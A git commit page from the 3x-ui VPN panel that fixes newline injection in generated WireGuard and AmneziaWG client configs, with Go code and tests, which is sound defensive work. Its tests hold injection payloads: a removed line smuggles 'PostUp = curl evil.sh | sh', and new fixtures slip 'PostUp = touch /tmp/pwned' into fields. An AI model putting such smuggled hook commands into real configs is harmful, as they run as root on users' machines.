pjandro/3x-ui
1
0
Fork 0
mirror of https://github.com/MHSanaei/3x-ui.git synced 2026-10-24 06:45:01 +03:00
Code Issues Packages Projects Releases Wiki Activity

fix(wireguard): check every line of generated client configs

Browse Source 
The WireGuard and AmneziaWG .conf builders (subscription service, clients
page, inbound modal and subscription page) checked only a few of the values
they write. Each builder now assembles the file line by line and renders
nothing when a line holds a control character, so every value is covered
whatever stored it. A decoded vpn:// payload is refused when it carries a
wg-quick hook directive, which no panel builder writes, and the subscription
page hides a config block that rendered nothing.

The inbound form now validates a WireGuard/AmneziaWG client's allowedIPs on
create and on update, including the stored clients a protocol switch keeps,
as the client endpoints already did.
This commit is contained in:
MHSanaei
2026-10-24 01:10:09 +02:00
parent 57fd61790c
commit 0faad4f4f3
12 changed files with 285 additions and 222 deletions
Download Patch File Download Diff File Expand all files Collapse all files
internal/sub/service.go
+37 -37
View File
@@ -983,20 +983,12 @@ func amneziaWGHeaderOrDefault(value, fallback string) string {
// frontend's genAmneziaWGConfig produces (same field order, same optional-field
// conditionals) -- this is the payload wrapped into vpn:// links below.
func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client, host string, port int, remark string) string {
// These land unescaped in [Interface]; a newline here would inject a
// config line (e.g. a rogue PostUp) into the subscriber's .conf.
for _, v := range []string{client.PrivateKey, server.PrimaryDNS, server.SecondaryDNS, remark} {
if strings.ContainsAny(v, "\r\n") {
return ""
}
lines := []string{
"[Interface]",
"PrivateKey = " + client.PrivateKey,
"Address = " + strings.Join(client.AllowedIPs, ", "),
}
var b strings.Builder
b.WriteString("[Interface]\n")
fmt.Fprintf(&b, "PrivateKey = %s\n", client.PrivateKey)
fmt.Fprintf(&b, "Address = %s\n", strings.Join(client.AllowedIPs, ", "))
var dns []string
if server.PrimaryDNS != "" {
dns = append(dns, server.PrimaryDNS)
@@ -1005,30 +997,34 @@ func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client,
dns = append(dns, server.SecondaryDNS)
}
if len(dns) > 0 {
fmt.Fprintf(&b, "DNS = %s\n", strings.Join(dns, ", "))
lines = append(lines, "DNS = "+strings.Join(dns, ", "))
}
// Always emitted: a missing MTU line leaves the client on its own 1420
// default and fragments the client-to-server direction once S4 passes 20.
fmt.Fprintf(&b, "MTU = %d\n", amneziawg.EffectiveMTU(server.MTU, server.S4))
lines = append(lines, fmt.Sprintf("MTU = %d", amneziawg.EffectiveMTU(server.MTU, server.S4)))
fmt.Fprintf(&b, "Jc = %d\n", server.Jc)
fmt.Fprintf(&b, "Jmin = %d\n", server.Jmin)
fmt.Fprintf(&b, "Jmax = %d\n", server.Jmax)
fmt.Fprintf(&b, "S1 = %d\n", server.S1)
fmt.Fprintf(&b, "S2 = %d\n", server.S2)
lines = append(lines,
fmt.Sprintf("Jc = %d", server.Jc),
fmt.Sprintf("Jmin = %d", server.Jmin),
fmt.Sprintf("Jmax = %d", server.Jmax),
fmt.Sprintf("S1 = %d", server.S1),
fmt.Sprintf("S2 = %d", server.S2),
)
if server.S3 > 0 {
fmt.Fprintf(&b, "S3 = %d\n", server.S3)
lines = append(lines, fmt.Sprintf("S3 = %d", server.S3))
}
if server.S4 > 0 {
fmt.Fprintf(&b, "S4 = %d\n", server.S4)
lines = append(lines, fmt.Sprintf("S4 = %d", server.S4))
}
fmt.Fprintf(&b, "H1 = %s\n", amneziaWGHeaderOrDefault(server.H1, "1"))
fmt.Fprintf(&b, "H2 = %s\n", amneziaWGHeaderOrDefault(server.H2, "2"))
fmt.Fprintf(&b, "H3 = %s\n", amneziaWGHeaderOrDefault(server.H3, "3"))
fmt.Fprintf(&b, "H4 = %s\n", amneziaWGHeaderOrDefault(server.H4, "4"))
lines = append(lines,
"H1 = "+amneziaWGHeaderOrDefault(server.H1, "1"),
"H2 = "+amneziaWGHeaderOrDefault(server.H2, "2"),
"H3 = "+amneziaWGHeaderOrDefault(server.H3, "3"),
"H4 = "+amneziaWGHeaderOrDefault(server.H4, "4"),
)
for i, v := range []string{server.I1, server.I2, server.I3, server.I4, server.I5} {
if v != "" {
fmt.Fprintf(&b, "I%d = %s\n", i+1, v)
lines = append(lines, fmt.Sprintf("I%d = %s", i+1, v))
}
}
optional := []struct{ key, v string }{
@@ -1042,33 +1038,37 @@ func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client,
}
for _, p := range optional {
if p.v != "" {
fmt.Fprintf(&b, "%s = %s\n", p.key, p.v)
lines = append(lines, p.key+" = "+p.v)
}
}
if server.RandomTrailers {
b.WriteString("RandomTrailers = on\n")
lines = append(lines, "RandomTrailers = on")
}
if server.DisableCookies {
b.WriteString("DisableCookies = on\n")
lines = append(lines, "DisableCookies = on")
}
// Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
// emitters (genAmneziaWGConfig, buildAmneziaWGClientConfig); all three are
// independent implementations, so any drift here is invisible until a user
// compares a subscription link against a downloaded .conf.
fmt.Fprintf(&b, "\n# %s\n", remark)
b.WriteString("[Peer]\n")
fmt.Fprintf(&b, "PublicKey = %s\n", server.PublicKey)
lines = append(lines, "", "# "+remark, "[Peer]", "PublicKey = "+server.PublicKey)
if client.PreSharedKey != "" {
fmt.Fprintf(&b, "PresharedKey = %s\n", client.PreSharedKey)
lines = append(lines, "PresharedKey = "+client.PreSharedKey)
}
b.WriteString("AllowedIPs = 0.0.0.0/0, ::/0\n")
fmt.Fprintf(&b, "Endpoint = %s:%d", host, port)
lines = append(lines, "AllowedIPs = 0.0.0.0/0, ::/0", fmt.Sprintf("Endpoint = %s:%d", host, port))
if ka := client.KeepAliveSeconds(); ka > 0 {
fmt.Fprintf(&b, "\nPersistentKeepalive = %d", ka)
lines = append(lines, fmt.Sprintf("PersistentKeepalive = %d", ka))
}
return b.String()
// A control character would split its line, and the split can re-open
// [Interface], whose PostUp runs as root wherever awg-quick applies this.
for _, line := range lines {
if amneziawg.ValidateConfigValue("config line", line) != nil {
return ""
}
}
return strings.Join(lines, "\n")
}
// genAmneziaWGLink builds a per-client vpn://<base64url .conf text> share
internal/sub/service_amneziawg_test.go
+6 -22
View File
@@ -241,9 +241,9 @@ func TestAmneziaWGConfigTextPeerFieldOrder(t *testing.T) {
})
}
// A newline in a field that lands unescaped in [Interface] would inject a
// config line (e.g. a rogue PostUp); the emitter must refuse to render it.
func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
// A value carrying a line break would add a line such as a root PostUp to the
// subscriber's .conf; a node reports server fields that no save path validated.
func TestAmneziaWGConfigTextRejectsLineBreakInAnyValue(t *testing.T) {
server := &amneziawg.ServerSettings{
PublicKey: "serverPub==",
PrimaryDNS: "8.8.8.8",
@@ -256,25 +256,9 @@ func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
t.Fatalf("clean input did not render: %q", clean)
}
injected := "x\nPostUp = curl evil.sh | sh"
cases := []struct {
name string
mutate func(s *amneziawg.ServerSettings, c *model.Client) string
}{
{"privateKey", func(s *amneziawg.ServerSettings, c *model.Client) string { c.PrivateKey = injected; return "peer-1" }},
{"primaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.PrimaryDNS = injected; return "peer-1" }},
{"secondaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.SecondaryDNS = injected; return "peer-1" }},
{"remark", func(s *amneziawg.ServerSettings, c *model.Client) string { return injected }},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
s := *server
c := *client
remark := tc.mutate(&s, &c)
if got := amneziaWGConfigText(&s, &c, "203.0.113.7", 51820, remark); got != "" {
t.Fatalf("%s with a newline rendered a config:\n%s", tc.name, got)
}
})
server.H1 = "140232109\nPostUp = touch /tmp/pwned"
if got := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1"); got != "" {
t.Fatalf("H1 with a line break rendered a config:\n%s", got)
}
}
internal/web/service/inbound.go
+7
View File
@@ -1409,6 +1409,9 @@ func (s *InboundService) AddInbound(inbound *model.Inbound) (*model.Inbound, boo
if client.PublicKey == "" {
return inbound, false, common.NewError("wireguard client requires a key")
}
if _, err := normalizeWireguardAllowedIPs(client.AllowedIPs); err != nil {
return inbound, false, err
}
case "mtproto":
if client.Secret == "" {
return inbound, false, common.NewError("mtproto client requires a secret")
@@ -1923,6 +1926,10 @@ func (s *InboundService) validateUpdatedInboundClients(inbound *model.Inbound) e
if client.Password == "" {
return common.NewError("empty client ID")
}
case model.WireGuard, model.AmneziaWG:
if _, err := normalizeWireguardAllowedIPs(client.AllowedIPs); err != nil {
return err
}
case model.TUIC:
if client.ID == "" {
return common.NewError("empty client ID")
internal/web/service/inbound_amneziawg_test.go
+24
View File
@@ -265,6 +265,30 @@ func TestNormalizeAmneziaWGSettings_RejectsInjectedClientAllowedIPs(t *testing.T
}
}
// A protocol switch keeps the stored clients, re-injected after the AmneziaWG
// normalize ran, so a WireGuard row's bad allowedIPs skipped every check.
func TestUpdateInbound_ProtocolSwitchRejectsStoredClientAllowedIPs(t *testing.T) {
setupConflictDB(t)
stored := mkInbound(t, 51830, model.WireGuard, `{"secretKey":"`+awgTestPrivateKey+`","clients":[{"email":"sw@x","enable":true,`+
`"privateKey":"`+awgTestPrivateKey+`","publicKey":"`+awgTestPublicKey+`","allowedIPs":["10.8.1.2/32\n[Interface]\nPostUp = touch /tmp/pwned"]}]}`)
update := *stored
update.Protocol = model.AmneziaWG
update.Settings = `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24},"clients":[]}`
_, _, err := (&InboundService{}).UpdateInbound(&update)
if err == nil || !strings.Contains(err.Error(), "invalid allowedIPs entry") {
t.Fatalf("UpdateInbound err = %v, want an invalid allowedIPs entry error", err)
}
var after model.Inbound
if err := database.GetDB().First(&after, stored.Id).Error; err != nil {
t.Fatalf("reload: %v", err)
}
if after.Protocol != model.WireGuard {
t.Fatalf("rejected switch was persisted: protocol = %q", after.Protocol)
}
}
func TestNormalizeAmneziaWGSettings_CanonicalizesClientAllowedIPs(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
internal/web/service/inbound_finalmask_reality_test.go
+24
View File
@@ -2,6 +2,7 @@ package service
import (
"encoding/json"
"strings"
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/database"
@@ -149,6 +150,29 @@ func TestAddInbound_AcceptsWireguardClientWithKey(t *testing.T) {
}
}
// The client endpoints already refuse a non-prefix allowedIPs entry; the inbound
// form stored it verbatim, and a line break in it reaches every rendered .conf.
func TestAddInbound_RejectsWireguardClientAllowedIPsThatIsNotAPrefix(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
settings := `{"secretKey":"` + wgTestSecretKey() + `","mtu":1420,"clients":[{"email":"wgbad@x","enable":true,"privateKey":"keep-priv","publicKey":"keep-pub",` +
`"allowedIPs":["10.0.0.51/32\n[Interface]\nPostUp = touch /tmp/pwned"]}]}`
in := &model.Inbound{Tag: "in-45201-wg", Enable: true, Listen: "0.0.0.0", Port: 45201, Protocol: model.WireGuard, Settings: settings}
_, _, err := svc.AddInbound(in)
if err == nil || !strings.Contains(err.Error(), "invalid allowedIPs entry") {
t.Fatalf("AddInbound err = %v, want an invalid allowedIPs entry error", err)
}
var count int64
if err := database.GetDB().Model(&model.Inbound{}).Where("tag = ?", "in-45201-wg").Count(&count).Error; err != nil {
t.Fatalf("count: %v", err)
}
if count != 0 {
t.Fatalf("rejected WireGuard inbound was persisted anyway, row count = %d", count)
}
}
// end-to-end: same guard on the update path, on a row that was valid before
// the edit — the rejected StreamSettings must not overwrite the stored row.
func TestUpdateInbound_RejectsFinalMaskRealityCombo(t *testing.T) {